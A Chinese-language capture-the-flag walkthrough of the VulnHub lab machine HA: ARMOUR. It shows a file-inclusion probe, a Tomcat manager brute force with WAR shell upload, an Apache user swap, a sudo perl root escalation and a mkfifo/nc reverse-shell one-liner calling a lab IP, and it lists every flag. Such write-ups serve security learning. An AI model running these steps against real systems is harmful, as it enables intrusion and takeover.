­

VulnHub靶場學習_HA: ARMOUR

HA: ARMOUR

Vulnhub靶場

下載地址://www.vulnhub.com/entry/ha-armour,370/

背景:

Klaw從「復仇者聯盟」超級秘密基地偷走了一些盔甲。獵鷹檢查了清單,以下是不負責任的事情:

1.綠巨人護甲 HulkBuster Armour

2.蜘蛛俠盔甲 Spiderman Armour

3.蟻人盔甲   Ant-Man Armour

4.黑豹盔甲   Black Panther Armour

5.鋼鐵俠盔甲 Iron Man Armour

克勞隱藏所有這些盔甲,現在由您決定。您可以使用滲透技能來恢復全部能力嗎?

                                                                -史蒂夫·羅傑斯(Steve Rogers)上尉

PS: Klaw有將密碼分為三部分並保存在不同位置的習慣。因此,如果您有一些建議,請結合起來繼續前進。

 

首頁:

 

首先進行埠掃描:

存在多個埠開放,依次對65534、80、8080、8009

由於該靶機是在2019年發布的,8009AJP漏洞是2020年公布的,所以盡量不使用。

該AJP漏洞是可以在Tomcat的webapps文件夾下任意文件讀取及文件包含(此靶機存在該漏洞)。

 

嘗試連接SSH:192.168.136.177:65534 獲取到flag及一個提示。

 

綠巨人護甲

HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}

Hint 1: TheOlympics

 

查看80埠,挺簡單的沒有太多複雜的東西。

 

進行目錄掃描的的同時,查看下源碼。

 

查看源碼。

 

發現armour、69、notes.txt,應該是給的提示吧。

會不會是埠呢,前面沒有掃出來,試試UDP掃描

 

百度下69埠下的服務。

 

這裡是開啟的Windows下的tftp服務進行連接,獲取notes.txt文件拿到flag。

 

蜘蛛俠盔甲

Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}

Hint 2: maybeevena

 

能下載試試能不能上傳,但也不知道上傳的絕對路徑,拿shell也是有阻礙的。

 

查看目錄掃描的結果,發現個file.php

 

懷疑是文件讀取或文件包含,利用bp進行爆破。

 

發現同樣是file。

 

訪問//192.168.136.177/file.php?file=/etc/passwd

 

驗證下,是文件包含。

//192.168.136.177/file.php?file=/var/www/html/index.html

 

利用該文件包含看看能獲取到什麼,同樣利用bp爆破敏感路徑。

 

查找有無敏感資訊暴露

 

最終發現了flag。

 

蟻人盔甲

Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}

Hint 3: StarBucks

 

拼接Hint1、Hint2、Hint 3得:

TheOlympicsmaybeevenaStarBucks

獲取到密碼,或許就是Tomcat的後台管理密碼吧。

獲得兩個提示的時候,百度一下就能獲取到密碼,

復仇者聯盟:無限戰爭(2018)中的片段。

 

舉辦奧運會,或者開家星巴克

 

利用Msf進行嘗試爆破。

用戶名不對,記得前面有獲取到/etc/passwd。將裡面的armour及aarti加入用戶名。

同時該Web頁面的單詞也少,就那麼幾個。

 

再次爆破,成功獲取到帳號。

 

利用Tomcat的war部署獲取shell。

 

將下面的jsp文件打包成war包上傳,從而反彈shell。

 

獲取到Tomcat許可權的shell。

 

查看了下Tomcat所在的文件夾,

前面有思路就是直接利用文件包含讀Tomcat的配置文件獲取密碼。

 

在文件包含那個點,有輸入過正確的路徑,只是沒有許可權,所以沒有成功獲取。

 

看下sudo -l  和 find / -user root -perm -4000 -print 2>/dev/null

 

lsb_release -a 查看發行版本

uname -a 查看內核

 

netstat -tunlp 查看網路

 

有個本地的8081埠,在/下無許可權。

 

切換到/tmp下嘗試。

 

獲取到flag。

 

黑豹盔甲

Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}

 

還剩最後一個提權的flag,但目前的tomcat許可權下無法提權。

發現/var/www/html文件夾的許可權是777。

 

利用下Apache反彈個shell試試。

利用tomcat在/var/www/html下建立反彈shell的nc.php。

 

沒有回顯。

 

查看許可權,給個讀許可權。

 

 

 

反彈shell,許可權

 

也沒有獲取root或home用戶許可權,但應該是從這個點獲取shell,畢竟/var/www/html默認不是777許可權。

那能不能改變Apache的上線用戶呢,查看下Apache的配置文件看看及有無修改許可權。

先用find來找下有無特意則為777許可權的文件,默認是不會存在的。

find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null

 

發現了Apache的配置文件及Tomcat的用戶管理文件,剩下的就是我前面利用文件包含的遺留文件。

查看cat /etc/apache2/apache2.conf

 

根據設置轉到cat /etc/apache2/envvars,發現了上面獲取到的shell用戶www-data。

 

嘗試修改,無許可權。

 

那就在/etc/apache2/apache2.conf下將修改:

User ${APACHE_RUN_USER}

Group ${APACHE_RUN_GROUP}

修改為:

User root

Group root

修改後要重啟Apache,www-data沒有許可權重啟的Apache,這裡只能重啟的伺服器

 

改為root後Apache無法運行,只能利用Tomcat許可權的shell將root改為armour。

 

sudo -l和suid都沒有可以利用的提權點。

將/etc/apache2/apache2.conf配置里的user及group改為aarti找下有無提權點。

 

 

 

提權:sudo perl -e ‘exec “/bin/bash”;’

由於不是互動式shell,提權後無法返回root。所以這裡是利用nc反彈互動式shell。

 

mkfifo /tmp/kikvf; nc 192.168.136.1 3418 0</tmp/kikvf | /bin/sh >/tmp/kikvf 2>&1; rm /tmp/kikvf

反彈成功,提權獲取root許可權。

 

進入root文件夾獲取flag。

 

鋼鐵俠盔甲

IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}

 

 

—-end